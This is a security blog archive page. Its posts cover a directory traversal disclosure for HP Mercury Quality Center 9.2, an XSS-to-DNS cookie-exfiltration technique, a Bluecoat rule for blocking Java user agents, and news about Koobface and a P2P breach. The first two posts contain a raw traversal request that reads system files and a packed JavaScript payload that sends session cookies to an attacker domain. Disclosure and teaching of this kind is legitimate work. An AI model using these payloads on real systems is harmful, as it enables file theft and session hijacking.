Archive for the ‘Security’ Category

Droppin 0day, 5 years too late…

November 9th, 2012 No comments

We all have it on our networks – old software that just won’t go away. Somebody bought it to do a specific function, but that person left or the software didn’t work or add enough value to keep up with maintenance or upgrades. But yet it sits and festers on the network. It very well may be a niche product that security researchers don’t bother looking at. But one day, for some reason, you as the security guy end up finding it, looking at it, and dropping 0day on it – 5 years after the software was released and 3 versions behind the current release.

So how do we handle this kind of stuff? One question may be what is the chance that the vulnerability has been carried forward through the various releases to the current version. At this point it’s a long-standing 0day and congrats, you can make software better! Go report that shit. But let’s say it doesn’t, the vuln (if it was ever even found) no longer exists in recent versions. If reported to the vendor, most likely they will just say ‘Upgrade to the latest version’. Why would they bother creating a patch for a non-supported, non-current software package used in a niche market? So back to the question of what to do with your 5-year old 0day. Do we just release exploits/disclosure for an unpatched vulnerability into the wild under the pretenses that a patch exists, namely the next version of the software?

Here’s my feelings on this – someone made a decision not to upgrade that software. Maybe it was running just fine and they felt they could use those funds for something more productive. Maybe they just didn’t pay attention to what was on their network. I don’t think in either case your 0day is going to convince these people to pay for that upgrade (assuming that this is a commercial product). But maybe that vulnerability, in the hands of the internal security or external auditors, might be able to help sway decision makers to either transition away from that software or upgrade it. Keeping it to yourself doesn’t really do anything to advance the cause. So in that vein, here’s my 5-year old 0day, droppin’ it hardc0r3….

HP Mercury Quality Center 9.2 Directory Traversal Vulnerability

A directory traversal vulnerability exists within a JBoss component of HP Mercury Quality Center 9.2 that allows for the exfilatration of arbitrary files. It appears that this component runs as a local privileged user by default, so most anything should be up for grabs.

Tested only on version 9.2 running on the Windows platform.

Test Case

 GET ..\..\..\..\..\..\..\..\..\..\windows\system32\drivers\etc\hosts HTTP/1.1
 Host: <host>:8083
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Proxy-Connection: keep-alive

The offending service, launched by the ‘QCJavaService.exe’ service, appears to be a JBoss component. The directory traversal string must be sent unencoded and therefore is not generally accessible through a browser, but the attached Metasploit module or a raw HTTP interface like BURP or handwritten HTTP packets sent through telnet or netcat will work as well. I was not able to determine whether this was an issue within JBoss or how HP/Mercury is deploying JBoss.

Metasploit code completely taken from sinn3r’s Yaws HTTP Traversal module. Total props for the code.

Metasploit Module:

XSS and DNS Covert Channels

October 9th, 2012 No comments

Like gum and nuts (They’re finally together!), let’s combine two classic attack techniques into one big gooey ball of goodness. Nothing here is anything new, just another way of looking for solutions to a problem.

So you’ve found an XSS flaw in an application and you’d like to steal some of the wonderful treasures in a user’s browser, but some nasty security administrator only allows access to a small set of approved sites. Therefore the classic method of requesting an external script with the cookie value as a query probably is not going to work. Enter covert channels via DNS requests.

Even if the specific HTTP request is being blocked by some form of proxy, in the vast majority of cases a DNS request will still be allowed. We’re not looking for the ability to tunnel out encoded packets or any such fancy-pants trickery. We just want a normal old A record request. We don’t care if the client system itself makes the request or if it passes through an internal resolver – it just has to make it out. And obviously the request needs to be made to a domain where we control the SOA and can log the incoming requests. Again, barring the need to be truly stealthy, we don’t really care if a record is returned – our goals are achieved once the request is made.

The Code

So, couple assumptions going on here.

  1. We’ve found an XSS flaw in an application
  2. We know the session mechanism or other such token that we want to steal from the end user.
  3. We have our DNS server.
  4. We can inject into the HTML body (as opposed to being only able to inject into a contained element ala javascript events)

So, let’s look at a basic version of the code:

function dnSession() {
var myDomain = "";
var prizeCookie = "phpsessid";
var cookieJar = document.cookie.split(/;\s*/);
for (var i = 0; i < cookieJar.length; i++)
var cookiePiece = cookieJar[i];
if (cookiePiece.toLowerCase().indexOf(prizeCookie) != -1) {
var cookieCrumb = cookiePiece.split("=");
var cookieType = cookieCrumb[0];
var cookieYum = cookieCrumb[1];


Very simple, we define a couple variables. The first is the root of the domain that we will query. The second is the specific cookie name we are trying to grab the value for. Since we’ve already identified our vulnerability, we should already know exactly what we are looking for.

After that, we carve up the full cookie string into individual name/value pairs by doing a split on the ‘;’ character. Then we iterate through that array until we find a pair that matches our desired cookie. Split that pair and we have our specific token value that we trying to steal. At this point, we’re at a pretty normal stage in XSS exploitation. In fact, nothing about this technique is really all that different from a typical XSS token exfiltration. The special sauce is just in how we are approaching the exfiltration. Normally, as we see in this code example, we’d just write out a tracker img or an AJAX request or a form post or something that would rely on the client being able to reach the attacker controlled web server to deliver the token. In this paradigm, we are looking to construct a domain that when placed into the DOM results in a DNS lookup. The hostname being resolved contains the token being passed to the attacker.

So back to out example. Once we’ve grabbed our token, the javascript writes out an hidden img tag that has it’s source set to <token> Since we control, we receive the token when the client attempts to retrieve the image file. Voila! We’ve exfiltrated data through the control specifically meant to keep users from sending data out of the network.

Trimming it Down

So, we have a chunk of working javascript code. This would be great if we could inject the code as part of a linked script file, but the whole point of this exercise is to pull off data exfiltration when we can’t get the user to our script page. So we need to get this into a smaller package. The first step would be to pack the javascript. Let’s use Dean Edward’s packer for this task. Packed using both the ‘shrink variable’ and ‘base62’ options, the code above looks like:

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 3(){2 a="8.9";2 b="h";2 c=4.j.5(/;\\s*/);k(2 i=0;i<c.l;i++){2 d=c[i];m(d.n().o(b)!=-1){2 e=d.5("=");2 f=e[0];2 g=e[1];4.p("<q r=\'t:6;u:6;v:w;\' x=\'y://"+g+"."+a+"\'>")}}}3();',35,35,'||var|dnSession|document|split|1px|function|zombietango|net||||||||phpsessid||cookie|for|length|if|toLowerCase|indexOf|write|img|style||height|width|display|none|src|http'.split('|'),0,{}))

Smaller and definitely injectable. But let’s go one more step and URL encode this bad boy (I like Burp’s decoder module – use what you like):


In this specific example, I’ve just wrapped the JS in a set of <script> tags. This may or may not be appropriate based on your injection point. You’ve now got a nice, albeit long, piece of URL ready text to pop into your vulnerable query parameter. I’m sure there are some inefficiencies in my JS code that could be resolved to make the final package shorter, but this at least gets the idea across.

Categories: Security Tags:

Blocking Vulnerable Java Requests at the Network Layer

August 30th, 2012 No comments

Another week, another Java exploit. Java as a server platform and as a desktop/mobile still has a role to play in modern computing, but the same really can’t be said for the browser side of the technology. As seen in both the general populace and in monitoring metrics from my own networks, Java is one of (if not the) top targets for drive-by exploits. In my work environment, where the cause of a desktop compromise is known, Java is responsible for over 90% of the initial compromise vectors.

So let’s talk defense here for a bit. Security and administrative teams have several options (as well as challenges) in dealing with the risk associated with Java in their environment:

  1. Remove it. Depending on the shop, this may or may not be an option. Like any other software platform, if it isn’t needed the safest course is to remove the package entirely. This is not always an option though as there are still a number of business related applications that require Java as a desktop or browser platform.
  2. Disable the browser plugin only. This is the functionality that is exploited in drive-by or targeted link attacks, so if is not needed (but a desktop Java environment is) disabling the browser object cuts way down on the attack surface. Not all shops have this ability, however, especially for non-IE browsers. Asking the users to do it themselves without the ability to monitor compliance is not really an effective option here.
  3. Patch it. In regular circumstances, this is a great idea. Java is notorious for being hard to patch in stand-alone mode (who hasn’t seen the ‘Click here to update Java’ followed by the ‘A new update is ready to install’ pop-ups. Just install it, I already clicked you once!). Many smaller shops (and some big ones too) lack the tools to effectively manage and patch 3rd-party software. And in this specific case there isn’t even a patch for the issue, so additional controls are needed to provide a sufficient level of protection.
  4. Push the control onto the network. This can be deployed as a stand-alone measure or in conjunction with other controls listed here (my preferred option). Network controls such as forward proxies or IPS devices that can filter on the layer 7 payload can be used to help prevent a system that has missed the previous sets of controls from being exposed to the final exploit payload. In fact, the rest of this article will be about utilizing a Bluecoat web proxy to prevent the Java plugin from reaching the internet in general.

Configuring Bluecoat to deny access to the Java User Agent

While these intructions are for the Bluecoat series of web proxies, the same methodology should be portable to whatever proxy you have in place. If the proxy cannot do deep inspection on SSL wrapped connections, you may lose some level of control though I don’t believe that I’ve seen a site that specifically served general target malware over SSL in my day-to-day monitoring.

First, we’ll create a new policy line and set the action to ‘Deny’ (the default typically). Move the policy into place in your policy chain so that it will be most effective (I’ve place mine in the first couple of slots, though your set-up may vary).

Depending on other controls or requirements, you can set the ‘Service’ to only look at defined HTTP/HTTPS traffic or the catch-all ‘Any’ service.

Building the Rule Objects

Let’s start by setting the source object. Right click on the Source field that probably reads as ‘Any’ and select ‘Set’. In the ‘Set Source Object’ window that comes up, click ‘New’ and select ‘Combined Source Object’. Give the object a name, something like ‘Unpatched Java’.

Now to create the specific objects that will detect the use of the Java plugin. Luckily, when Java creates an HTTP socket connection, it set’s it User-Agent request header to the full version of the JRE in use. This is specifically the case here when the browser plugin requests a JAR or class file from an HTTP server. It is this request that we specifically want to block. To start, let’s create a new ‘Request Header’ object by clicking New->Request Header.

Name this new object something like ‘AllJavaUserAgents’. Set the ‘Header Name’ to ‘User-Agent’. Set the ‘Header Regex’ to:



This will now match on any Java 4 through Java 7 User-Agent string (if you still have Java versions earlier than 4 in your environment, you probably don’t have a Bluecoat proxy or a security program in general). Example matches would include:

User-Agent: Java/1.6.0_33  
User-Agent: Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_05

Save this new object and create a second Request Header object. This one will be for fully patched (securely patched, not just latest version patched). Set the name to something like ‘FullyPatchedJava1_6’ and the ‘Header Regex’ to:



Once Java 7 is patched, we can create a third object that encompasses the patched version string as well so that this rule can be used to protect against threats to machines that have not been patched to the latest versions, but for now only the 6 branch is secure (in a relative sense).

Back in the Combined Object Editor window, select the ‘AllJavaUserAgents’ object and add it to the first/top rule block. Select the ‘FullyPatchedJava1_6’ object and add it to the second/bottom rule block. Click the ‘Negate’ check box for the second/bottom rule block. This sets up a match condition for any Java User-Agent string except Java/1.6.0_33 or Java/1.6.0_34 (v. 34 is a bug fix release, and not a security release but can still be found out there).

Final Unpatched Java CSO

From here, depending on your security requirements, you can either add this object directly to the ‘Source’ field of your policy rule or add it to another combined source object as needed. We had specific subnets that we were applying this rule to, so I created a second combined object rule that matched on both the subnets in question and the ‘Unpatched Java’ object.

Likewise, if there are specific known-good destinations that you need the Java plugin to run on, these can be added as a Negate rule to the ‘Destination’ object. This is where additional controls at the network layer come in handy over just disabling the plugin altogether.

Once complete, save and install the new policy. It is probably a good idea to set up a trace or log event on the policy line itself to allow for monitoring of blocks, both from an incident response and tuning perspective.

When Facebook Apps Attack!

March 2nd, 2009 No comments

Facebook, and other popular social networking services like Twitter and MySpace, are the new frontier when it comes to attack surfaces for the bad guys. They are the target of attack because, like Internet Explorer and like Microsoft Windows before it, that’s where the users are. All of these services have been struck by cross-site scripting attacks, malicious add-on applications, password attacks, and everything else in the Web 2.0 tool box.

There is absolutely nothing new in the way these attacks are delivered or the form in which they take. They mostly play on the typical curiosity that an end-user has for the shiny link, app, or video that is presented to them. But that old addage – don’t click on it unless you know what it is – still applies in the vast majority of these social networking attacks.

Facebook has seen several new rounds of malicious application attacks in the last week or so, including yet another tour of the Koobface worm. This particular piece of malware appears as a note from a friend on Facebook with some call to action to see a humorous, or potentially embarrassing, video. The actual payload passes itself off as an update to Flash or other such media viewer. Once installed, the trojan steals cookies for various sites, including Facebook, allowing itself to login and interact with Facebook via its API interface on your behalf. This is how it can then propagate further.

Think “Do I really need to add another smiling puppy to my Facebook page?” the next time that application request comes in. And, no, you probably weren’t caught on video doing something dumb.

Categories: Security Tags:

P2P File Sharing to Blame for Marine One Data Breach

March 1st, 2009 No comments

This seems like common sense to me — if you are responsible for administering or securing a corporate network, in any sector or industry, you are being negligent if you do not do everything in your power to stop P2P software from being used within your network or on machine under your control. This article from CNET is just another example of what can happen when you fail at this task:

An Internet security company claims that Iran has taken advantage of a computer security breach to obtain engineering and communications information about Marine One, President Barack Obama’s helicopter, according to a report by WPXI, NBC’s affiliate in Pittsburgh.

Tiversa, headquartered in Cranberry Township, Pa., reportedly discovered a security breach that led to the transfer of military information to an Iranian IP address, according to WPXI. The information is said to include planned engineering upgrades, avionic schematics, and computer network information.

The channel quoted the company’s CEO, Bob Boback, who said Tiversa found a file containing the entire blueprints and avionics package for Marine One.

“What appears to be a defense contractor in Bethesda, Md., had a file-sharing program on one of their systems that also contained highly sensitive blueprints for Marine One,” Boback told WPXI.

Tiversa makes products that monitor the sharing of files online. A representative for the company was not immediately available for comment.

Boback believes that the files probably were transferred through a peer-to-peer file-sharing network such as LimeWire or BearShare, then compromised.

Read more…

Categories: Security Tags: , ,